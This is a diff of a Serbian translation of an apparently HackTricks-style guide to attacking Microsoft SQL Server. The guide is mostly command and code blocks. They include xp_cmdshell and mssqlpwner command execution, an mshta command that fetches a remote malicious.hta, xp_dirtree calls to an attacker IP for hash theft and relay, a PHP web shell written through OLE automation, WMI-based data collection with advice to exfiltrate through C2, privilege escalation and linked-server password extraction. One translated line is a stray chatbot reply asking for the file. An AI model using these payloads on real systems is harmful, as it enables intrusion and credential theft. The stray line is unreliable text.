- **Database** – Primeri obuhvataju database role, application role, schemu, sertifikate, full text kataloge i korisnike.
|
||||||
- **Schema** – Uključuje tabele, prikaze, procedure, funkcije, sinonime itd.
|
- **Schema** – Obuhvata tabele, poglede, procedure, funkcije, sinonime itd.
|
||||||
2. **Permission:** Povezane sa SQL Server securables, dozvole kao što su ALTER, CONTROL i CREATE mogu se dodeliti principalu. Upravljanje dozvolama se vrši na dva nivoa:
|
2. **Permission:** Povezano sa SQL Server securables, dozvole kao ALTER, CONTROL, i CREATE mogu biti dodeljene principal-u. Upravljanje dozvolama se vrši na dva nivoa:
|
||||||
- **Server Level** koristeći prijave
|
- **Server Level** koristeći logine
|
||||||
- **Database Level** koristeći korisnike
|
- **Database Level** koristeći korisnike
|
||||||
3. **Principal:** Ovaj termin se odnosi na entitet kojem je dodeljena dozvola za securable. Principali uglavnom uključuju prijave i korisnike baze podataka. Kontrola pristupa securables se vrši kroz dodeljivanje ili odbijanje dozvola ili uključivanjem prijava i korisnika u uloge opremljene pravima pristupa.
|
3. **Principal:** Ovaj termin se odnosi na entitet kojem je dodeljena dozvola nad securable-om. Principali uglavnom uključuju logine i database korisnike. Kontrola pristupa securables ostvaruje se dodeljivanjem ili odbijanjem dozvola ili uključivanjem logina i korisnika u role koje imaju prava pristupa.
|
||||||
```sql
|
```sql
|
||||||
# Show all different securables names
|
# Show all different securables names
|
||||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||||
@ -188,7 +188,7 @@ EXEC sp_helprotect 'xp_cmdshell'
|
|||||||
### Izvršavanje OS komandi
|
### Izvršavanje OS komandi
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Imajte na umu da je za izvršavanje komandi neophodno ne samo da je **`xp_cmdshell`** **omogućena**, već i da imate **EXECUTE dozvolu na `xp_cmdshell` skladištenoj proceduri**. Možete saznati ko (osim sysadmin-a) može koristiti **`xp_cmdshell`** pomoću:
|
> Napomena: da biste mogli da izvršavate komande, nije dovoljno samo da je **`xp_cmdshell`** **omogućeno**, već je takođe neophodno imati **dozvolu EXECUTE na stored proceduri `xp_cmdshell`**. Možete proveriti ko (osim sysadmins) može koristiti **`xp_cmdshell`** pomoću:
|
||||||
>
|
>
|
||||||
> ```sql
|
> ```sql
|
||||||
> Use master
|
> Use master
|
||||||
@ -235,13 +235,43 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
|
|||||||
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
|
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
|
||||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
|
||||||
```
|
```
|
||||||
### Dobijanje heširanih lozinki
|
### WMI-based udalno prikupljanje SQL podataka (sqlcmd + CSV export)
|
||||||
|
|
||||||
|
Operatori mogu da pivotiraju sa IIS/app tier na SQL Servers koristeći WMI za izvršavanje malog batch fajla koji se autentifikuje na MSSQL i pokreće ad-hoc upite, eksportujući rezultate u CSV. Ovo održava prikupljanje jednostavnim i uklapa se u admin aktivnosti.
|
||||||
|
|
||||||
|
Primer mssq.bat
|
||||||
|
```bat
|
||||||
|
@echo off
|
||||||
|
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
|
||||||
|
set S=%1
|
||||||
|
set U=%2
|
||||||
|
set P=%3
|
||||||
|
set Q=%4
|
||||||
|
set O=%5
|
||||||
|
rem Remove headers, trim trailing spaces, CSV separator = comma
|
||||||
|
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"
|
||||||
|
```
|
||||||
|
Izvršite to daljinski pomoću WMI
|
||||||
|
```cmd
|
||||||
|
wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"
|
||||||
|
```
|
||||||
|
PowerShell alternativa
|
||||||
|
```powershell
|
||||||
|
$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
|
||||||
|
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd
|
||||||
|
```
|
||||||
|
Napomene
|
||||||
|
- sqlcmd možda nije dostupan; koristite osql, PowerShell Invoke-Sqlcmd ili one‑liner koji koristi System.Data.SqlClient.
|
||||||
|
- Pažljivo koristite navodnike; dugi/kompleksni upiti je lakše proslediti putem fajla ili kao Base64‑encoded argument koji se dekodira unutar batch/PowerShell stuba.
|
||||||
|
- Exfil the CSV via SMB (npr. copy from \\SQLHOST\C$\Windows\Temp) ili ga kompresujte i premestite kroz vaš C2.
|
||||||
|
|
||||||
|
### Dohvati heširane lozinke
|
||||||
```bash
|
```bash
|
||||||
SELECT * FROM master.sys.syslogins;
|
SELECT * FROM master.sys.syslogins;
|
||||||
```
|
```
|
||||||
### Ukradi NetNTLM hash / Relay napad
|
### Steal NetNTLM hash / Relay attack
|
||||||
|
|
||||||
Trebalo bi da pokrenete **SMB server** da biste uhvatili hash koji se koristi u autentifikaciji (`impacket-smbserver` ili `responder` na primer).
|
Treba da pokrenete **SMB server** da biste uhvatili hash koji se koristi pri autentifikaciji (`impacket-smbserver` ili `responder`, na primer).
|
||||||
```bash
|
```bash
|
||||||
xp_dirtree '\\<attacker_IP>\any\thing'
|
xp_dirtree '\\<attacker_IP>\any\thing'
|
||||||
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
|
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
|
||||||
@ -265,7 +295,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
|
|||||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
|
||||||
```
|
```
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Možete proveriti ko (osim sysadmin-a) ima dozvole za pokretanje ovih MSSQL funkcija sa:
|
> Možete proveriti ko (osim sysadmin-a) ima dozvole za izvršavanje tih MSSQL funkcija pomoću:
|
||||||
>
|
>
|
||||||
> ```sql
|
> ```sql
|
||||||
> Use master;
|
> Use master;
|
||||||
@ -273,17 +303,19 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
|
|||||||
> EXEC sp_helprotect 'xp_subdirs';
|
> EXEC sp_helprotect 'xp_subdirs';
|
||||||
> EXEC sp_helprotect 'xp_fileexist';
|
> EXEC sp_helprotect 'xp_fileexist';
|
||||||
> ```
|
> ```
|
||||||
|
|
||||||
Korišćenjem alata kao što su **responder** ili **Inveigh** moguće je **ukrasti NetNTLM hash**.\
|
Korišćenjem alata kao što su **responder** ili **Inveigh** moguće je **ukrasti NetNTLM hash**.\
|
||||||
Možete videti kako koristiti ove alate u:
|
Možete videti kako koristiti ove alate u:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Zloupotreba MSSQL poverljivih veza
|
### Zloupotreba MSSQL trusted Links
|
||||||
|
|
||||||
|
[**Read this post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **da pronađete više informacija o tome kako zloupotrebiti ovu funkcionalnost:**
|
||||||
|
|
||||||
[**Pročitajte ovaj post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **da biste pronašli više informacija o tome kako zloupotrebiti ovu funkciju:**
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
|
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
|
||||||
@ -291,7 +323,7 @@ Možete videti kako koristiti ove alate u:
|
|||||||
|
|
||||||
### **Pisanje fajlova**
|
### **Pisanje fajlova**
|
||||||
|
|
||||||
Da bismo pisali fajlove koristeći `MSSQL`, **moramo omogućiti** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), što zahteva administratorske privilegije, a zatim izvršiti neke sačuvane procedure za kreiranje fajla:
|
Za pisanje fajlova koristeći `MSSQL`, **treba da omogućimo** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), što zahteva administratorske privilegije, i zatim izvršimo neke stored procedures da kreiramo datoteku:
|
||||||
```bash
|
```bash
|
||||||
# Enable Ole Automation Procedures
|
# Enable Ole Automation Procedures
|
||||||
sp_configure 'show advanced options', 1
|
sp_configure 'show advanced options', 1
|
||||||
@ -309,30 +341,30 @@ EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"
|
|||||||
EXECUTE sp_OADestroy @FileID
|
EXECUTE sp_OADestroy @FileID
|
||||||
EXECUTE sp_OADestroy @OLE
|
EXECUTE sp_OADestroy @OLE
|
||||||
```
|
```
|
||||||
### **Čitajte datoteku sa** OPENROWSET
|
### **Čitanje fajla pomoću** OPENROWSET
|
||||||
|
|
||||||
Podrazumevano, `MSSQL` omogućava čitanje datoteka **na bilo kojoj datoteci u operativnom sistemu na koju nalog ima pristup za čitanje**. Možemo koristiti sledeći SQL upit:
|
Podrazumevano, `MSSQL` dozvoljava **čitanje bilo kojeg fajla u operativnom sistemu na koji nalog ima pristup za čitanje**. Možemo koristiti sledeći SQL upit:
|
||||||
```sql
|
```sql
|
||||||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||||||
```
|
```
|
||||||
Međutim, **`BULK`** opcija zahteva **`ADMINISTER BULK OPERATIONS`** ili **`ADMINISTER DATABASE BULK OPERATIONS`** dozvolu.
|
Međutim, opcija **`BULK`** zahteva dozvolu **`ADMINISTER BULK OPERATIONS`** ili **`ADMINISTER DATABASE BULK OPERATIONS`**.
|
||||||
```sql
|
```sql
|
||||||
# Check if you have it
|
# Check if you have it
|
||||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
||||||
```
|
```
|
||||||
#### Vektor zasnovan na grešci za SQLi:
|
#### Error-based vektor za SQLi:
|
||||||
```
|
```
|
||||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||||
```
|
```
|
||||||
### **RCE/Čitanje datoteka izvršavanjem skripti (Python i R)**
|
### **RCE/Čitanje fajlova izvršavanjem skripti (Python and R)**
|
||||||
|
|
||||||
MSSQL može omogućiti izvršavanje **skripti u Pythonu i/ili R**. Ovaj kod će biti izvršen od strane **drugog korisnika** nego onog koji koristi **xp_cmdshell** za izvršavanje komandi.
|
MSSQL može omogućiti izvršavanje **skripti u Python i/ili R**. Ovaj kod biće izvršen pod **drugim korisnikom** nego onaj koji koristi **xp_cmdshell** za izvršavanje komandi.
|
||||||
|
|
||||||
Primer pokušaja izvršavanja **'R'** _"Hellow World!"_ **ne radi**:
|
Primer pokušaja izvršavanja **'R'** _"Hellow World!"_ **ne radi**:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Primer korišćenja konfigurisanog Pythona za izvođenje više akcija:
|
Primer koji koristi konfigurisani python da izvrši nekoliko radnji:
|
||||||
```sql
|
```sql
|
||||||
# Print the user being used (and execute commands)
|
# Print the user being used (and execute commands)
|
||||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
||||||
@ -348,9 +380,9 @@ GO
|
|||||||
```
|
```
|
||||||
### Čitanje registra
|
### Čitanje registra
|
||||||
|
|
||||||
Microsoft SQL Server pruža **više proširenih skladišnih procedura** koje vam omogućavaju da komunicirate ne samo sa mrežom već i sa datotečnim sistemom, pa čak i sa [**Windows registrom**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
Microsoft SQL Server pruža **multiple extended stored procedures** koje vam omogućavaju da stupite u interakciju ne samo sa mrežom, već i sa fajl sistemom i čak [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||||||
|
|
||||||
| **Redovni** | **Svesni instance** |
|
| **Regular** | **Instance-Aware** |
|
||||||
| --------------------------- | ------------------------------------ |
|
| --------------------------- | ------------------------------------ |
|
||||||
| sys.xp_regread | sys.xp_instance_regread |
|
| sys.xp_regread | sys.xp_instance_regread |
|
||||||
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
|
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
|
||||||
@ -373,19 +405,19 @@ EXEC sp_helprotect 'xp_regwrite';
|
|||||||
```
|
```
|
||||||
Za **više primera** pogledajte [**originalni izvor**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
|
Za **više primera** pogledajte [**originalni izvor**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
|
||||||
|
|
||||||
### RCE sa MSSQL korisničkom definisanom funkcijom - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
### RCE sa MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||||
|
|
||||||
Moguće je **učitati .NET dll unutar MSSQL sa prilagođenim funkcijama**. Ovo, međutim, **zahteva `dbo` pristup** tako da vam je potrebna veza sa bazom podataka **kao `sa` ili u ulozi Administratora**.
|
Moguće je **učitati .NET dll unutar MSSQL-a pomoću prilagođenih funkcija**. Ovo, međutim, **zahteva `dbo` pristup**, pa vam je potrebna konekcija ka bazi **kao `sa` ili uloga Administratora**.
|
||||||
|
|
||||||
[**Pratite ovu vezu**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) da vidite primer.
|
[**Pogledajte primer**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) da vidite primer.
|
||||||
|
|
||||||
### RCE sa `autoadmin_task_agents`
|
### RCE sa `autoadmin_task_agents`
|
||||||
|
|
||||||
Prema [**ovom postu**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), takođe je moguće učitati udaljeni dll i naterati MSSQL da ga izvrši sa nečim poput:
|
Prema[ **ovoj objavi**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), takođe je moguće učitati udaljeni dll i naterati MSSQL da ga izvrši nečim poput:
|
||||||
```sql
|
```sql
|
||||||
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
|
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
|
||||||
```
|
```
|
||||||
Sa:
|
Niste priložili sadržaj fajla. Pošaljite tekst iz src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md koji želite da prevedem, pa ću vratiti prevod uz zadržavanje iste Markdown/HTML sintakse i pravila koja ste naveli.
|
||||||
```csharp
|
```csharp
|
||||||
using Microsoft.SqlServer.SmartAdmin;
|
using Microsoft.SqlServer.SmartAdmin;
|
||||||
using System;
|
using System;
|
||||||
@ -437,13 +469,13 @@ public void Test()
|
|||||||
```
|
```
|
||||||
### Ostali načini za RCE
|
### Ostali načini za RCE
|
||||||
|
|
||||||
Postoje druge metode za dobijanje izvršenja komandi, kao što su dodavanje [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), i [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
Postoje i drugi načini da se dobije izvršavanje komandi, kao što su dodavanje [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), i [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||||||
|
|
||||||
## MSSQL Eskalacija privilegija
|
## MSSQL Privilege Escalation
|
||||||
|
|
||||||
### Od db_owner do sysadmin
|
### Od db_owner do sysadmin
|
||||||
|
|
||||||
Ako **običnom korisniku** bude dodeljena uloga **`db_owner`** nad **bazom podataka koju poseduje admin** korisnik (kao što je **`sa`**) i ta baza podataka je konfigurisana kao **`trustworthy`**, taj korisnik može zloupotrebiti te privilegije za **privesc** jer **stored procedures** kreirane tamo mogu **izvršavati** kao vlasnik (**admin**).
|
Ako je **regular user** dodeljena uloga **`db_owner`** nad **database owned by an admin** korisnikom (na primer **`sa`**) i ta baza je konfigurisana kao **`trustworthy`**, taj korisnik može zloupotrebiti ove privilegije za **privesc** zato što **stored procedures** kreirane u toj bazi mogu **execute** kao owner (**admin**).
|
||||||
```sql
|
```sql
|
||||||
# Get owners of databases
|
# Get owners of databases
|
||||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||||
@ -489,7 +521,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer
|
|||||||
```
|
```
|
||||||
### Impersonacija drugih korisnika
|
### Impersonacija drugih korisnika
|
||||||
|
|
||||||
SQL Server ima posebnu dozvolu, nazvanu **`IMPERSONATE`**, koja **omogućava izvršnom korisniku da preuzme dozvole drugog korisnika** ili prijave dok se kontekst ne resetuje ili sesija ne završi.
|
SQL Server ima posebnu dozvolu nazvanu **`IMPERSONATE`**, koja **omogućava izvršnom korisniku da preuzme privilegije drugog korisnika** ili login dok se kontekst ne resetuje ili dok se sesija ne završi.
|
||||||
```sql
|
```sql
|
||||||
# Find users you can impersonate
|
# Find users you can impersonate
|
||||||
SELECT distinct b.name
|
SELECT distinct b.name
|
||||||
@ -510,9 +542,9 @@ enum_links
|
|||||||
use_link [NAME]
|
use_link [NAME]
|
||||||
```
|
```
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Ako možete da se pretvarate da ste korisnik, čak i ako nije sysadmin, trebali biste proveriti **da li korisnik ima pristup** drugim **baza podataka** ili povezanih servera.
|
> Ako možete impersonate korisnika, čak i ako on nije sysadmin, trebalo bi da proverite **da li korisnik ima pristup** drugim **databases** ili linked servers.
|
||||||
|
|
||||||
Imajte na umu da kada postanete sysadmin možete se pretvarati da ste bilo koji drugi korisnik:
|
Imajte na umu da kada ste sysadmin možete impersonate bilo kog drugog:
|
||||||
```sql
|
```sql
|
||||||
-- Impersonate RegUser
|
-- Impersonate RegUser
|
||||||
EXECUTE AS LOGIN = 'RegUser'
|
EXECUTE AS LOGIN = 'RegUser'
|
||||||
@ -522,47 +554,49 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
|
|||||||
-- Change back to sa
|
-- Change back to sa
|
||||||
REVERT
|
REVERT
|
||||||
```
|
```
|
||||||
Možete izvršiti ovaj napad pomoću **metasploit** modula:
|
Ovaj napad možete izvesti pomoću **metasploit** modula:
|
||||||
```bash
|
```bash
|
||||||
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
||||||
```
|
```
|
||||||
или са **PS** скриптом:
|
ili pomoću **PS** skripta:
|
||||||
```bash
|
```bash
|
||||||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||||
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||||
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
|
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
|
||||||
```
|
```
|
||||||
## Korišćenje MSSQL za postojanost
|
## Korišćenje MSSQL-a za Persistence
|
||||||
|
|
||||||
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
||||||
|
|
||||||
## Ekstrakcija lozinki iz SQL Server Linked Servers
|
## Ekstrahovanje lozinki iz SQL Server Linked Servers
|
||||||
|
|
||||||
Napadač može da ekstrakuje lozinke SQL Server Linked Servers iz SQL instanci i dobije ih u čistom tekstu, omogućavajući napadaču lozinke koje se mogu koristiti za sticanje veće kontrole nad metom. Skripta za ekstrakciju i dekripciju lozinki koje su sačuvane za Linked Servers može se naći [ovde](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
Napadač može da ekstrahuje lozinke za SQL Server Linked Servers iz SQL instance i dobije ih u čistom tekstu, što napadaču daje lozinke koje mogu biti korišćene za sticanje većeg uporišta na cilju. Skripta za ekstrakciju i dekriptovanje lozinki koje su sačuvane za Linked Servers može se naći [ovde](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||||
|
|
||||||
Neki zahtevi i konfiguracije moraju biti izvršeni kako bi ovaj exploit radio. Prvo, morate imati administratorska prava na mašini, ili mogućnost upravljanja SQL Server konfiguracijama.
|
Neki zahtevi i konfiguracije moraju biti podešeni da bi ovaj exploit radio. Pre svega, morate imati administratorska prava na mašini, ili mogućnost upravljanja SQL Server konfiguracijama.
|
||||||
|
|
||||||
Nakon što potvrdite svoja prava, potrebno je konfigurisati tri stvari, koje su sledeće:
|
Nakon validacije vaših dozvola, potrebno je konfigurisati tri stvari, koje su sledeće:
|
||||||
|
|
||||||
1. Omogućite TCP/IP na SQL Server instancama;
|
1. Enable TCP/IP on the SQL Server instances;
|
||||||
2. Dodajte Start Up parametar, u ovom slučaju, biće dodat trace flag, koji je -T7806.
|
2. Add a Start Up parameter, in this case, a trace flag will be added, which is -T7806.
|
||||||
3. Omogućite udaljenu administratorsku konekciju.
|
3. Enable remote admin connection.
|
||||||
|
|
||||||
Da automatizujete ove konfiguracije, [ovo skladište](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ima potrebne skripte. Pored toga što ima powershell skriptu za svaki korak konfiguracije, skladište takođe ima kompletnu skriptu koja kombinuje skripte za konfiguraciju i ekstrakciju i dekripciju lozinki.
|
Da biste automatizovali ove konfiguracije, [this repository ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ima potrebne skripte. Pored powershell skripte za svaki korak konfiguracije, repozitorijum takođe sadrži kompletnu skriptu koja kombinuje skripte za konfiguraciju i ekstrakciju i dekriptovanje lozinki.
|
||||||
|
|
||||||
Za dodatne informacije, pogledajte sledeće linkove u vezi sa ovim napadom: [Dekripcija lozinki MSSQL baze podataka Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
Za dodatne informacije, pogledajte sledeće linkove u vezi sa ovim napadom: [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||||
|
|
||||||
[Troubleshooting SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||||
|
|
||||||
## Lokalna eskalacija privilegija
|
## Local Privilege Escalation
|
||||||
|
|
||||||
|
The user running MSSQL server will have enabled the privilege token **SeImpersonatePrivilege.**\
|
||||||
|
Možete verovatno da **eskalirate do Administratora** prateći jednu od ove dve stranice:
|
||||||
|
|
||||||
Korisnik koji pokreće MSSQL server će imati omogućenu privilegiju tokena **SeImpersonatePrivilege.**\
|
|
||||||
Verovatno ćete moći da **eskalirate na Administratora** prateći jednu od ove 2 stranice:
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
|
../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../windows-hardening/windows-local-privilege-escalation/juicypotato.md
|
../../windows-hardening/windows-local-privilege-escalation/juicypotato.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
@ -573,6 +607,18 @@ Verovatno ćete moći da **eskalirate na Administratora** prateći jednu od ove
|
|||||||
|
|
||||||
## Reference
|
## Reference
|
||||||
|
|
||||||
|
- [Unit 42 – Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd](https://unit42.paloaltonetworks.com/phantom-taurus/)
|
||||||
|
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
|
||||||
|
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
|
||||||
|
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
||||||
|
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
||||||
|
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||||||
|
- [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||||
|
- [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||||
|
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
||||||
|
- [https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
|
||||||
|
|
||||||
|
|
||||||
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
|
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
|
||||||
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
|
